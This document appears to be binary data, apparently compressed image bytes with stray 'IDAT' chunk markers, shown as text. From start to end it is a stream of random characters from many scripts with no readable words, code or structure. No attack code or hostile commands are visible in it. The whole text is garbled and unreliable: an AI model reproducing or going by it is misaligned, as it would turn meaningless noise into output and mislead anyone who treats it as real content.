Z3+ㇰj}ϭwgD{YY|_(`_?3n,Bw]{O(/Muc/WPG3 9}sS=Yvz%d,)̝l^4>!7E21FP_-}~xo<FֿEvdmJWQ%'pwaԱT7gU9Nh,;$޽T\GfN$N7aCqMڏ:eW-~~Ŭ59UNTW33\4zRMU~*9/Tg.;k_\طcƏ˵?|zf{#+XΥv4?hr2IIJ]o	f;a*X9]*<x?d&[OTfŰ~{e\;lz/tsr8[1_$jTO+DF<s?O%rSK秾>
S^ŋ77s$J+B<ޙ~7WuZ-(wGO<ة1gj]RDRΚ}|*\D?Y;;ws8u–=yvpjh;2+;%;mpyz>4VO?V?Eܱu	JkUH5jwB=HToytpb?u(xqɈVQ}Su/:S~q:´v|IPt?FXNb|a$pWgp["98z?Z_ߏ-ͨ'idswU|^s3@4kR 74U@OU+w>EWe̶4VpV{,)<(_71K>uЫ xG]۸t'GD<5N?:սDɮB'G5फM,aEQMWaRA\|D롴rS#x@$31`q"^-?M/qY9Oȱ y91봈VOF1k*xQҺ푶˜%/$ZHzjg7 zzkhjwqC*z6och>sR3/"&UNWЉD@Ys
n~4ù?0nըGó0&Io{5)\C!bG+$߭j$g~-k#͞"0㌁;	ch7	'>BD}
3w#}{ߡJ=<5]W)qJw<_,&C㯯cӝ#~.(Zv*A8<N_N
shv C{D_Nt<d].8y^%M~w?p">9/є4}x{ a8Y>Q?]~5.<a9C/hpvCVfkͅ=kv=Ah
7.œCvp<Q*X_01#y(` D]ކ?ګSQ6]g奧%r4iv	6|t`"ߣlցc!V
I
R$,t^h<,f}gCrd$Jp{Oiڶz9	
k*:h2`gOW+{47OCޖ7k֯u<;/=i?=@qBr9I"<ߗpxV^.<ZѦ><z]ߏ;˓҄5ljl
Ӄ~uqzדb-{΍F9}g}xFwU?VC
XaBi]
`\=[罜O=L	ÿ1)z
jzC_Ig:s/sy]7*js?ɟJjc'jGMQϏD76B\0ly~E9{%ΥuAZw͹7?_1/{kMަաencf~:c}O]`"ݒ;N~rb_$t'	Qt/ㅭ$72iLKxSމ<\.wU
>?pQܷ>t	r*x9'jz=HtF׸;<'3*d&
PY[=b72~͠'Bwyz/Kq3Kkc',u5?VYqjH?볾&+}#OŲi
d_|۫SӞ.@:Q_Skz:ʳ+@ΐb_ǟ
iys</BzT~E?r1ꔸEuڍ	ɍ"-!h
P>!dXU_Fp.b[hO3'=~+l_#?y QLyƴQ7#bS[|u(
<{IFZE.rk`~kx+_uu܏ҾQ#L~y]?\)x%zs"Йjɒ/]	Gzx{@&zKq?l״$r0\󣀦GU@XujD
Κtp%ovo$;n{B&(u}˳-P
<Mzӿ'5?O}3<k<`w3?:.Z5$g:Aeg{{%Βmͭ髦T9/WP{{g{~XZ%V'p[+N/=MgI}(0<SkRY& /yF֣B
@Ϥ>ּH,
UoD+rP!h|	'_$A϶_ߩoIrc39fc==r`EQ\=VMtmyu(9?ҟ0^}ǶpޣN;\gAFvͯ ="C܈K@a|KSAK|7+)Ép(*>j&_˼Oyem1 o!+ָz\(9eo97`NG*mҧyX-cϿ)?
va(߿rCm_SsWy3qWv\@ PnǣD5;D[5Һ?Er7mw6%jvG[٭_U8zݍPrY }_P>_<M_J[Յ. By|ۧ-@<hPh.Ti#fORK8=^3h5xy8WN~fėFћ!	j:*2YoRTN,)e?<7iI9'}|L2;@-5g>߻?m=Z:FPo>ۀ%|H;/4]_26β[aF=ijS7:VXg<'=Js>9ȗd>I3Q`.j;-
U>Kə
VM!σO߉ 2
fǓqٰF4gXUwd	8h?)w5Es2-=Za=^gl昘ڗ/6<&IST
q9I(`͏55(wyI_A1c|jJŐW)9j
HBw%wklh*59\*UP֒;PmMGC
=OQ%G]aWmXq˒głU?cRg3XOoysVA#ucCJz]_5'=u6KT0'\x8 ;WH+_O/]1}7o[;7QgUρҰ#)K󬗳Q-DZ1վj'
,i0^|ļ.<I$rW`r4_|RĢ-$/ǗͧWj	mn$O끨9XZ}r|`0x&MwϏ+2,b{Bs王q]WUuľlODXMߥC_^O(<]q
Z̺}Yc's։Wg$ҾL.ͽ?&'dE>яgd0'Vb9Ϸ|spy`sx~9Q_QQ^k%f:_^
84|{%x
xEe0X}_5?廚e; (}^5]`qh|괗8KIp/fT(ߦq3`@um@=RtU̶Ш{V}70A8+ioZg	,|ZR+3yˁG<`?g̤s1GT	QլU6W;l
%\zC~<j޹ܿhg4*Uzг_+-vI+kǴZ%>b֛`",Mgb.st-@TJe1״z5G!8g(N3/~@?~8k~D_|z&;/pJ:?SUK̕Eyuf>j[wʌ<?>~ɞ+qYٵPIF/"'Aw'?:Puªj$/["i`)ې*<Ge=%#>y!y@wCOVNSgUM
Z	)7OJ)|}+MmԤZV		 
qһO{y8bXOҞ}6.%E!y/,	@Doⵧu<ȋ4iit
⋧`/%rӆc@f+|1ܒFZZY^wu;!r8R.c_4+5ܓ1Aي{ʟ"'G1#2/aU1GU`W^ 6A᥉>:X$`kĻyIxDÝg6ˆ3Eu(ے4kIMxatL4-ztv~iĢ2sgpD{gQ4sNyyw5̩_/ʻ&o;"
j?G3e}
t9jFpIT?_`dZʏg
bj'8qaM<3^C65Y9ǵ(F-`!j1+ZS_0bƞڋ(?y`֦
~?}//}1dM&Mm>>,ȣ";Ku'|9)L
?
%יrt-YxGc5KILJh~?>}y$Skth>9T<*-	ǩ6&OޝCM0w=ƴFap
5U_qkwܭcjW߳v.>j$]w3ox[1uA'l]	{+{kNqJ&ްJ9RUE2%~"Swj	 j8hz{{Fg:i}B2Ero'C=?cTkq56 "٦g2ZJ2xDWl8,wR5מsv}V6Ha/Υgԃ+>hkeHo,uꅽXeP?6|p4MVݿaNR_~$œ$?IycbB4ZsնHwB|:-1;x팤;BJ׋t2J­$SF
kҥg/JOѭouCsaꟾN[_pU偸!_I՜<!*v$
u{gzM_14~*ub8:HR|Cj`~·wkcSy?  XxgL/;*>XaQn u')
u@Lhxf[p
A" =Ѵlby7yCb!N fܿ_@q3|CVCH8ㅤϻvki`t0꩘PxpRq4&pxêly${ͼ~'ZXA
yݗ=DC
;Nت;Ͻ8wBZsN`u'(y#a)BpWg3Aaқd/>ձ'C]>:ȪW8Nկd'Bj{SifL<|NJ.fzʜcܣ/AQ^S*Y@H#JK%˭^azzYt/Kr$7ҫ&E.>;Un132{鍪%9ω:H|syq8	k[x,@IDATüq]k:qqRAHeu!.' WI'P1=eSW6@x>u-j$wԕ AP~6CxVWSQ^l7޶.	.v0|P,=<K	'3&=KڃGI6E7>
0,$b`OY?6|/W`PY<Ka_ݝeT'yinΒ,WIvE/O5W}"q,yvQ^{Êh,bShƺ4V{7[CqhCMfd+Wr!zӠyX-Jg4a|t]e;9VوїKy 8r'/gќfm*DzX},c`|v߼Hs`t*FӾO(
<=G$х/|e=.z~0	}>]υ@?"ĵo_:#g{<5/.2COy4&מ;f[(??u5?2gx+-$:M:8gyNRS.CB{
؏hdz:K'h@	)}6Ѷ2_SŇPǥ37P5F Z,}9͡}j!]7(ltg
=>ae:9t!L^s,IWtE]H*=_:dnTbuePTGߏND%xtv`sz@h/ҵgt0<s9e!q&%.u%a0IaΕG4{.p0't}L9(-M‡O*
^υpn%2[jLu|ڿDynk*k%!UO)b?s4\ɷ {`]xVsL4Vѹ<1;bŧ.xTֽ|Tk!~3gNK V%wQ˱h=54h^0Z6.R>3s{rM0e:<z?]f3mޠq`XU͜:.K50hV($=
S'aB<a?__V{}OD}sU/>%.
g=|[=3[a=ڧLBς:Q6P/!_s.R
yYs"V9^ggQ Ϗ&%[6eYqI˗ӻxe\NrzY*+$<9ͯc6+2{&~SpԽdE\[>FwϏ+y/̐4c=uhSpZG._v[/}d	dd~
 N|3q
F,J}~ȷg$Ktpgk1]xk<cSc1ls_og,.j̬+^W#Z={坙*=S:<w33E?{H*b-{Ҷ?u31^n^JgwZx?OZ,9̜USk$OX[}5Mf{1OQhK:C7+G0@/W5?梐|	ZvSS1{]G9^Ѵ\|tLKj)枯w"288IF@8КQ>!(DTWBk5"Q2Ww7 }0x$"V#g%"s4PU^z_(zc`橵)ԞZW	ijG3MsW{א[KpY5]??{}nF$Ӿ܋.sgw>U UkN"΢:/)rJQԱ@5=FԉA9:2N?~ϽZmOz*%Mk*Dz~6uVL*!OMo@^Â?,JJ|s鏇5c(*H|$MX5MK$~a.)FCߨ@qeF%K?
(g#=evsN}LRz}EsG]	m>'}n
P-,xy3p%&}SU
vK6V36]tq(s|GL	n~$Z_쉜D{t}2\-c&(OQ+6sP]{
%=N9ճo1"2#C]hL9O$;;T+O	Aۏ|wpRCT:G`Fn}p
?z	bƞIc}g.$˞rԘf_[˿cFoqjS	n ^V}҉?W6.pYW$3#[1Ԕ_rw6HGZߩwBLn2r٨C<ݺ_FrWl~ۖX[ ÚI</ƍ8ҷ@Z=fS~;j!:cy s1r[^89=g첩`^}k??_o+p78;yVnv歔9kD!ԉfOf>gP}#͑kBC`x{7]Cn6>l<&q D*(L)䕛dߡq};,s]է&\	p%bN#@\]O}zRFy)˳_n uзKk<[5}Iw)4U/PU}?lגƘ}_Oxw}?/ §o	4(X[^-Z~"
(Ĭ3N>
DA :
)P
2h,pΩ>&^)u3,35b
h_De՟t
|{LS\ҞS̀k`rnB^hsTu_%6Ys
2bTG_Q8Jׇro}xZWK-ls&osSΊfRNWsɅ>*rFkna㇏jLpD˚ڳ¡f(?9;-dѾ/'6kjϹ_Vd1dQ)87Ch
Y"9/Y}5d0I@LD`6Ù_Yc%u =8;X2c&68YU>>ӹAA*gO:uw3 '0`PhEMgأⶇM
Ϊ"ڞxwOzW0KWϽ0SIJXKs1{E=UzU2`.Cx?Bb
,=_{O}vU}dZVO'I䖏rOPԘ*Uhw&\>}bYsegUBj+\;?ƌ|u`k[z@u~4}"ɕǹ)A|!C
\Ic3U^;C|0*ՈI(˺]\*b„O!BHhߡfQBixc!j4YE10AGk@~	9r3@0-hY;x	:7PN^?r`0Iփk\!~bo4+c>9g|WkOK;GvLU49(܍W9L9~qk!iczU gczr"|xO_=>K1U%y?8Ҍwu9}j&VWIc"i?K;w>!ϖZ[rO᳤{ puEBb?RW^y4ڟ7<-k@qڄgy6/Ͽsz&,7h>`\S
D^H.|@9|;`4a(=
y,a=5ӻŗlq>/2;_wv̮_m{w@x|$?:	w(\5'{_`x5IrN~	6+{pzNR+n`!=/GRz(
<R֬_+mf%-ISujUsKJ?hKPv xCf}.S=.b܋g9N|1,胑92$gRb.'4yj]ӝ
n]L{SԵD8LjGU<#j~N'>l}y=fDv
{_j̏<Ҋ~O(}"0ίzz7z&HP>*mYk|Yx*JC/0SǓ_}b[ERө7O)n5cǬ'GƩ;b[槤7srIH\6KdNW;zU~Tk͑_*!  
*el69azrmcQ"S{//$p]XϨjEqhC돈@_	p}-g+{f`zIs4,$=	(8K߹}V$Iǥ8i+Ւ3k?R}x_%ssWtnO\7v{/!+6h;o'9xTTXsU:^,tYt?,}׮.e=q~鶼ԓ6{!zϻr|@CcJ}/vL>3HdXyp/o{QhB==NiZlؓ_
>F?ü
OYO}!?4QW{=σ]m,)۟#pVCտU9k]<'}
w~	~eʿkzOm?vunG:[:^W{nc^oBՑzxƲ;;iw9`\kAook^zW;ӑ?;I[WA'}e}d?*\]cZ%tu<W|0{M3ߞ.=9HY~SARR˗$?3黇9ݫ׳=S<gY踾*U^U0#459/w3PHy4@7dvY{oR,|6s+yʇn}r/s6h?309r঱ž?Usī/\Bj5'onWݞn# 	wdKqYRJ"κ?{u͹I;9NtvpVK@|yљ<D@ۂ/_}l]MSC^[96o3M]S|q#{pFס}&hQOt^zކ E.ىlq/ܻ]$q0dbGzf}L{'(G.}$"e=~l}XXؑdiuY@?feJBIxDsWN~<*WcH'_lw8HrfLc҈~Qs0W9ڻY~~ŭYi\Iڧb]W!ݳ^Hԣ7w>UxuRN;?攟?wfb|"Ik`l܋gr3?ߟb(p+bp?|8ݗ}Q
'^?Ɍf E֑Y^|d5/l8OIʡ1oo
H`Vu@]E%[M3\6s3;NsiT|I)_zx:Lk2o
2S:U$soD7<s=nu3X^vǐ먛pR6g<='ĜM9twޓ$0-gk:IWF߁fvn_gu)-d_6\t"%m3%ؐ	4Z#zU2~d_3|_9p7>$I6-lvemTsP8i⚟Mqt?fxF5N{3|췭wwn6ogr>Wnn\N8otaDsKEJ&{D{ l=UXY7j50Wozarբ\_U~\a͞S|x-Rf?
m[=_%=/Fp39ғ$5Xw2US9¿i>(nW+Gq09]7GX:.du_*'-%L=Pd/!}1K/g	!Ab4@L^l&;3}Nzm'p~{~3W
shu;8zϭ?]O]b:=ۜ1KڷZ1xp<,iLĴ/;:!0IQ}ǁx14~$&}"Q>
sw l~l:Ra?9W{;T+ed@g26SG!+{
_;'gcOŪ?sI01Q]솓Qvb3C>.?H
nN/E''ZJ\r7sW	g75/*?f#ؙ	iE&\O}/{dpSf:e!VW~j[s\b5[ç+S}|2<G>K`Oр8ad${#`iyWN_<?{FvO:UJUm^(^}._sNfe-inh(!pnQΟۃ9=0f`;"N	͇~53CdF4y&ŏkЊT~sLe/9ya
,W!ƒoEsEEiiWhj_‡8^I[Ï1$X/.Pk5}ZW{oT2/¿uYޓѫu6k^1'j_39?z5eYu 1G\
:
kZVz8Ln]9(:q	lo#Z#8\ԤJ/"UsmJ')vAOpg}Rik9zRߓ/ݘFߨvTo._Cѻo?xY	g?z,C}COMy</jʿE4n	X._]qOp@O)0m{!%L#<C9	sչA	ae1Awbp|M-PE>eckNE*5;ǺLh$&o-,0B'f@+AM%RCu`x1+q>"6Wk.NBLM8uҩOsҮ(= IȔJG5/ֱ ӗLG<FBV{x
^JVFRws3T`nue՘w?Z<+׃@fWKcOP@?G)4ffv钊DO3?#1tU͎Y"N/Wnbϒ*Ez暶bX{v?+<{`XFFK2 \Ưz~e
U{lGv*9Bk˫g^|o3%K[GKꠤY{8<\%d:he*ܞsT,36 ͥ޺~^9nc=G~f}t;p?:Ybv(owg󘔽>'} >a߿qNrkH-
}q.Wo/㉯s@cj~OjhoV_qyV"fxFߞi@ZR?7{9?Gr2ܞ\icxV}ɵ+v|΁L>ZvUX_]Ł9R^B^"迋wYYxy<+T&M!]:5),?z&y9sZ<eUޠ+=9Okt29,,r]Iun[9O[}jL<'ϚӹN>$=k1yĽ?SSP-~O]	k~{S΂H_m9Sbdzt&py~H
XhGJR
xzNĚ,?{]$rͷNyh)u(wFnn͟<Vv ~أh#?}ޔ{ߪg&Exs
-D{Y"Xn-մOsʟY6<BLz+r3CvLtEAWjo}|NȬuIUjN綗+];4?{S,4=I&opk%z&@yZ~>9W!ds%C3xEܫ(U(Z3wGO<˟Qj~WSYkagN׼)©^c"@P`8TNP{
^]IZV{
.ۿt^L^N;Bۧ4(1gg)T_bk_\=KhHoYQMy9w7,ۭڈؖץmVڎ.Al8M)tTr\gՅkɺbXV2aCJ]e~EpA|\ڐ7;DCrl_~bn=UʾSz=ԗ{Wk:ݖiqRj,KI8*/פOEnxg>yLGAyo1y
?:<ו>
|"TL`z++kN}omCℐ 4ܥDd//`OO(]|N`-`'N
>៽-udgw׷E
,|գlcJ?{{
8w,|
L^Mts~hguh
OҺ@2g*-Ma()&kzVHK3YN9aUEXl{}ј;\gã~Bgc1Ϸwz3'S^gbuTqi˘Zzy:3J\Q<}t&7c=9,E`_GkJ˃8f\YiLNWfX' Dp	[|Xpmg*뻤=←<qg?>R)g5`'bx|Dw@rJuQq陹
x@sP<b'r*wt:g6{W(Gwh3;jU='߽
J,ݪ7[RUґ27Cϩf&)ڝzWsWa9ݫ	N^r^ۊx@4E[{b.z\97kUgƐY
?	_ڭ8a]bCu7fC5cdO~ti=o%Bq+onI|ʫ9?W-B4Hu@/w}uULqͪ
MKKq;4YFʪ֬׶WJ
X\wKx_0Thp.5F`4~G7g'kMD	9ry&-[/ިO?5ܽ|UF
xTiS4t&XlG259{WMOK)ȈGM?re(a&78Cɜb^
	5Sj,=|wjwf):/D
qa(|K1qhd\>/MKiʴ`V[1zGg&µ=%N&߹]Ulqb:F?/w}{'?]TPXʧ}W.--~l*ʣ.񴳆8/m{-g3B~~˧g>o*c~@v/	zIk9&ys}Vs!{]|pN:~{zY]98gNchkp~xW?j8xyp0:JVH"o
Lȹ-Fs3h99>}<'-i`c}ziR#ߪ965M|Gz?_
_=@5k8ȡ%b@m=va>"r\Y@߉
F
mX]{1=@:fTR@wKJtl+;,.?R	}wlAtNJ,. *<긦'}ӧ͹'̯/Gٳ~p9{~sَq~O24GBK9=?0_'?}?{=m3ђ6?73v]^؂_ije`Iy	^,-:3plU8̅_A#WYW|^7:R8Rs{7o?/GZ~ukgoRsS< 0L/Ζ\B9G$kVg_dxߞ?8$>s[?z]OXrO{o狮മWyL}2oKI
*ud.iE(R24{~~~rD
B7;1+f{CS8']~ Lqk*cSqV(fN2[WK<
3?'CPtÑ}loWZ-rQjQs=!7G7GG̡9E^Uw]򿱋?Ȟ*q<'ڋ<zF]Z[{9w(B%^>ĐOmRs~w+u_&A)ŧΊ(q~?A!I^g}\	q86fYnR*Y>^ۑ9mak$¢jz݁l}I`;xo=m~^HtnuZL>NN~YsmW/R/K<MIA絽L]?8|t7'wP}P#t_St9)YKûz7OBiP;b{UR(WرZ}gz{4]ꋔ\ǗGx Z˳vnu9=Ooʿ[8眇pϣ>^!~_d|NՀތy
Vu

=?>}'-˿kOG׹ກ{n?Wx5׳{mU9dQ:J}ǚf핶}S-FRkFy/ݔu+Jd-)[y~5WķK}49K(%du3(mG2c`w{|<x!V
^{5Iog~?wq{52;۽?{:C$=vP*eNN%`hYOZkd*mK[sA;NgmQVOO
1)hVʡYGS;er̃3,ϝ"7(@Ze@/_%tWOz}3S|lgo	
Xщ@7g][i$~M]]ǔ
kV,Ul70kKbmp9۪sPW{cHUf{|6rH˗Oc]b)ya$ܬ-CNy?	M;Y|W
SOW!pcE*>ϔ\aFBϔo[@,k1z30+l荷9G~?4)XnOz=zJ7H|+iu#GCuc]4S0q"'OJzyﯺRdz c|û0%'!i(IM9ŝ`|y{yA8ţ1pC\g#2xx_}
@=2\iPyp)v
O!x]~BE2GcZ;TZ9]T<Y[o?o=
|ऌ\nVH1|O8U)6I4W}%sՂfץVKZup7	&+؛u2+s?|~/RfWAN8OӺM
kx=53<C_6
%NoO\8u|N,uo~\pI*o;MvV]mtW!k"&Hlߐ'.-ԬpKT	옚|[.DxVK^IEtVtTe'S^u>~zZWBz	bDLrIwk4~?VȨպ;l拾g%,E6?˿f'zLqT	Tž_}o\:y}&C|EKs9Okoq6<oP٥t߻I*n)Ur99q4:=*Ⱦ_9WAZy>gt`.4|n_uwtߗnGĞTLPuݧ\3LNSsYGW31C|8Q?7ǰ6/Ub(ﭵ7;~&Ǧ!;B{~[+5b@8]\~p? 
p׈܏Pwuwt}'C8/`k\f\o	mdy]![q22{w3aك٪Os%Eq tI[o^qAcR}j&,Yv|	D7\"f>:=9;@糹tV~2O")P	0bxkwS;eʈo~TzyIA\֯l>!ضuـʀdwG,mop8쌾b	ڡ;{~F4-kǏ
c̐z==`%ؙоZó};	\#~; z}>'}O&Vz
LdL-^	z^^3!7MDCR.GyM3{QKw/1ڿѢb ΀GOn ;ZKsUW^浪|x*_W=tLR5=u~UwHivJO̽0}o"xRl47?A-/㬮bCK'#ݕT;d<8&f16?
y	?|$#>Wh6ѯ ]b0`_/j||&j_=Z+ز-4@E(52k׌O&_P1#0߄\6s~Yh?/w%ι_>e
i~Jطۢ
]mzw[7;O'b3J5+99˪m@Vtl~^/4=T}0۳T8}>^Qk`L2Y0ZN=1@/
gXbp}{xXCcsЏ?_JVϜ+h<|rx%/g'?xMMyWԾ"ڛ9p4_{-c7VpGw=jO(1t(-n>GՔx(ѿGRw<&DOb:(IĞ,,%iuϙty.chb*a
KZKO]\:/T_ԯ@nck_6j5C[_sz"7Ǜ<Źpjl?xzGPWӳTQ=57.Hl@TЮԋG'dw8ejϣ?T?k؏"nM3|կ<]Qg~~)o1euqk>ݏpsI@<NH|<{
`O׻Ed8Rd+~jv™<OMh2Z}€&2U}y$OV|Y=>[ɩ0GTe}r[y'+Nd}z$t`Guyy+=lZIm*ڧzjZ"G]Y4w_WORM	<ޙI^;(q7,|R鏇qBYq'ahGѫDϬ	D\ye]Eo,8f/)h)c19VDUsbr}./ȌGh3ytH09'<?aB30@}UqOQ*h8Mi6:TQB빴"PzJ>*EGtԺй^M*	ORK
o?q>\Sdÿɭ6&ֹ=pL-\y֫AoRԙȊVʛoO.'1Bڳ|NJ@95Yߓ4wOPwC@IDATXO9׀'¬u<\ ~!^<OY]l(7摢VLk?u/B?-
'DY^[=0?H%\щŘV\傰|_-t|_~Po![@ArMCPZ䐫|K:7
,naoPę{~Ə%#9
cw<5֝_ LFҰ]ͬ!=oNu^&bฎo2SH??M;zn:wdxD@8n:*/Wďa@񦾰?(>IL?N:u|B* 	z?}&5GGE++Hsz!L} N|ľ׼	1YT74\1%EhQ2J**v3o8g/
P=ݸ8GP+9ñ]3 ;Ox>B@{=U
^ʱEavRMTxL|'O`?Ojmⓐ0\`U(Į7Wl[l_";S4,@@CPsðg_ХgӹG8z$:TX#,LFo}ԗOG/j[=$[~f5Y8Oe0&2ջ9(RV࿣S4r^V֡7	K)7(%8xxEM:+^ݠW|ŏI,9KkPMn\Ch.Vucܕf3y\|tO7⯠5)9v?b3®ϱ+ziz{OuV.\UԹ;sk[(o"SS͹LFGzF/\B,,JUxeyKY/5#K$6V[(>pcRV>TI	.{B4ֺ=5f7	\ԔfO7pDkNQE}k1M)^GBRJt80
_Fzy_jSth~Gs
5Tjn˫1;(=|=/4ʙB #[_XnW~j
,s
CX}s_z4v}%1G5_梊с3
zjUB=ɡo'޼*G
	KLn
|~H5Os$
ss&*(k=??ձ}:u-O9GKYlXxz[(Y1#t)>XP	3%"&FALFs׻\ׯ+45;y+-꣩Cҁ.	Qvf{Sr1{Tꜽ¹=DN#a/^ͽTqvL#*?\(k31OߝA;`?8zF̭yƬmIuqK\l#	in* SLK\`ߜhO^Vx,״G\k=bLUOa~lO{+5X!'^=!ry.iL0}J!ӿTvdTזlˎS,sDEmU2{5>o9({I!3Sw
 YcZ#:sF2o-EΖs/N]AW\Hn]^ڵ1f?]_/.{!!_/*ʋNw5Ms}94kAs{Ps'*id$	:9~Et):<s/aW?ٟˇYG'fK(Ty̛c}OTUO)>Hk1~N',w'pU%eF$\o{8Ԝ^TGST'`?X<pEQ
~=h7
dŢ}rٓO:Ƒw)("|ub2GϏ"HʆLLBys"Cq1XdRqU ߬.8׶bLFz'f>՛ڇ#/>_	{Vw4ď
,uPs!h&*z*DICNhU@T
,g!.yLtYUzsY>وBE$cy)ОcŊAgρuyVƙWQZc8+Z\*/It0-[58N8;]Ku$&beP>8ts)YS_<+Z܋e4~@g5bj~l]TN]teޖ<|RMdO}|U䳧Νg5|r`y+> .r\MZO~ַơ;k
#	#?ھy>D(E7+/%_h~P>DQ;>ѩ%ꊕ'~h$"*o~Wa~f~]'3pg xwA|O}<Re#:=r>5}5Oڣ'nt'ꂘdu8gEmɆBү
H>4#VYr:d=EMTƘ?X{niǿ%yF PJTϟHW}D6Bu	ЀNk4`l~V<xn
lG/۲6Ӵwߞ:vOd>G{Vk+wip=\ĦZb֡jܟ

Ae?uuQX\׾NQ/vu*pNTg:\^v>Y/{fbOx+jFbZ1"NK41=uHKMثB2:)ґv/g|Yά~~__40IK<5sΌzCr~y{&/^!%]d7:W~N:΃Ub5.8[Ux{j(4\?q\-__UHfSPgb9|oo(E=!W)$ŵ>lf͜q~
.vB\^Xɺ@D-Ys΅SFذ䞍#zMv0׾7$h9#-	fm~pJ*X;z-c2Kf)4Jxb)^W[[YԆ&]{0G/QyDT}{Vqn<)>PQ>?67[`tI)I
>Z.	#YAWY@%}D:䡨yes
HerkQ E O'M|	PzYRy*cŻgZ+{dO	?|-+50fTAIG[1s=ֶكz୐<Yϴ)sP乸&M:-`]kQ^8
~ķSXsp%ibǻOy+Vbs&>ڀ'R`qtQ][ՀxRqg'gM1X56Aw!-*}<	p{"kv6_=B]}wgSNBb>%֌ԗ&,m6tUz3o5cScdp3њ].*U8,~*'tt/|ϋӧpԟ髌xG =&$1dGa,RـI	b>>W7:['=↘?g
AʳQ+FAwVxE9 |ThS~.a!zKRP܃>?s
rN|
|Ld
n\sYѹ.6_V5`gpx~Z:32ը 
sY3%R(z.dQ3ր ?#$̫ɗrjIp֝cתSaCf?`'~|f16oZ~ήY8?{"EXy63D.)\sU*M͓o9ЋnEP}[\bndܙpdžkžy_z*^'~&Utη7S	cч#pˮ 3W<$EOE񥧏{'zR$)mTU0JPiKg"?'1o>"N"櫛0i 4:P3'Μ7^5G[
Ds&|te''7U`Փ2s|G)֯@։NMsŔo2ԂS[rch7	B)zxj=9 *e6/Ả[`hpPx+˚	\
"Rt럸yLPO$tvhF}t	+?%	ؾ>D}8N~}[T\1Ir|s8m/E>%^*@p@'TNsn0)ϯ}?Z@0DBA?AFWi't̯䞸9=)=/t6^^ptϞ</奫^<\螔.{OWJ9F&>${}
8Py89s?҉3=QK[앧Ӏ[Kὄ	;oO<@8(ݟ
ݓLCL<2j\ڣ'){vhu=n9hP΄wFH`'n=莞(Rk}IőE%`=RIR~IԋmsܑWSk~ZW(?PRQ!߯wϐwRzjK?s^>^#NL~sDyX
,&U.Ia;x*.˗og"m
|`pr؏+gIch>f5<ISy߿{fRCSxgSjSgAoׇ|DZ>'ᛏU^r\aޭvޅږCq
=9߆fuOp{~|'/T>kL|:@Ǭu'y)T-)uzm_0Q{fݫ?	g]	zDDA꾳7 'պڞ%k\qͶ֬׏@u2^)BSAPo_LjpC-,ӑl;SoEd+|~Vg_M<+[=p`^WygX(}Bw Ptu8?>,LnIp;CvBߟοs?k-|vл{wˢLo*=rDkk@zK>/^O:S.zJ:ư;Iq8___p?wq0W`"gV "\R2 
YUUjh|״|
r75alיU9Z3#+Ùm4=φ1Hi	&)fuw}VbmiVmbS;uܡA[RzV{Fn\۠궙KL婕$Ӛ[Ku%ORmH@ƈǞx/qʄgu+T>/j,	21.ߵy":9"eISQ{͕8?4׬
Z*yr0lx)E9SH}Vb8d%},@Z5>$m5W|p4Lg)Y/7`o
hcI=IS|+ä́yjb`m|us_JxzXV
Wt<}H}nE̪pnlΛ]}l_}:~p*_Yi֗ޟw
t"(/{jKg{/r5){	UNz7u{"F\]&x%d^nۧױc?zGilʅ$j:3|'(}tݹ,ڬJ{Rtť1bzWR~O	j551<ﮚ+6BPQsUe6÷9Q\6\ PgCm\`o-jؓV}⪒&4,j=xu9Oi sf7k`php5kQNl{=1ETdBVZ19ivd׿
Z
XA |R^KpR΋b0lehJjH&(j3n`r~}ODzv-lv>+h~SvVع;?υ7@a;a%SO
LW] |O@̆>A2]O!lV=~K5ȤY
k΢wd4NԿt$aT$t
g@qk!}7J90yR8{RG:kw'@{Z>{>r=8g*" U}jɶ׈,g9Ϫg'$>\?ǰK=s뽆.w2JJz	NDDibs"q|z+H]]9)ͫ9uU֘u'R[Bcdx35HpB
C?#̯n""R}Q?Au4	`_ߥV:~K8$F.sV=[Pke_mB֣s_wPIag$Ȯىف5i-)?Uuݕ"՗cFR>N-]Nx<_oDZx/>]O]戶r
\T!C½A+DPޝ<6jdZ
S$770Gׇ3 /0}0.pn=J1CIL'3jbzUX+p0jiDЕDsqf'CL*4!G_IJO~B5m5-tt*_r") vcfFjY;>+' 9G1st;a0ڷ5mczn61]Զ?2Ur6y!
hds$@Ń:sJ圳ޙ=<sGL7}Kk{G`쒈@}&s[a?pG̱RB[`b2`s_VvRwy_y&u?ANw\ms5$'hdS~-o߿^kFi	}>o0*M#S~
6EgA}XpR57
/,oߟ@?	L	f;RrPIyR?I՟0+)}]JX~SATAsw.eBޘݭ=*}sLh/(/$Xk+@g#ebn,wrŌ(ţӐs=\4OYϟblݠ:OolȤ
l#|lcXDpYohS#b|ZvϿ[S+Ӓ{0iq=2?Z_vC( )*uX%y<|cs ==wۨhUؐb#FLG̓{EM|mEmw2r:oR?}>[*AI~I1: XN[5?Ң+>[kcwNɏ_>f?O	Ƶ}mZ5'r_ OM-<<LPC2(zd#<H?^KAyǞ$+ ZHAػwSFZnügHTvCnO?5НZ:)8Αq^tR~Іu7}t8[[e-i	˲Z~ިی?$ӫh[{$jũȑ'=A?i2jٺD~0J{	`_)m
H@-_K|[렶̞~etᾟ3_.\iT(4s4b(//2ml?%:{Ry纹i	JD<V$y,cL<7ocWƁ`;3rn^z^>o>^R	ݺwQB`*4<J>)0 jw
UX &pwڮJŒYk`x5bXy;_/|rv@E69qي;9aZ`T\wSNZFXWa]/Gs=^0E!T7^!˵y^=52`rϜL6@ޥNDVvS0rw?YרzVWcwM[Qp	͡uG=N‡tD3hS^+v@6ai?mX [Ci-P߉`',um9XC

"u?|Q+ybF[~
^/(	G;M&5
0cvsP{aPoO8P=I2hVE§}z}0zK!';238IajOmĿ#7/;WJn?ڌYVUs)I뙟@c*6Ž#[_'})7O~'
p19˙%~FtTzLGKg7pLn!Ne5'TৠpS`L؍76R2=ڮRN&#@z-wk78E74Yrko??ƻ&+@׻ƺ`7kk+Dvӗ.88ֱU
y!F<;3>{=3cc[i]PXq 硹p${4A;j>[ǎx\+1-_ͺvg%R?,p-^-u--pz:C	OijI%gqGfoO擐ˈu)Z/?f8؄TFw$|5(B'g(YZM}CFIu~Sk;sL|jE=
|]pn@<1XrM>32}?:U7۫mkrЍgJ]w`]`Y0Vml	#
0!a`h>t9+p4n'{4q_XE+PK{q9dHW@8{	=bSZ+Pr[???&ͅ\{G҃q..:S.AޗJ\f?[j"fB
\ԩ#K1Uku",y*x~RV5O'3|C_	rߟr]ԥP֛Roa)[+s~c>͙(zG3iWP[\X?}0N_{.߫3 LTJ^߄M(gcvp^8˭h`.|][Εǧqz?z$"^;h_|?H$?3ww߸[z*w忘c`
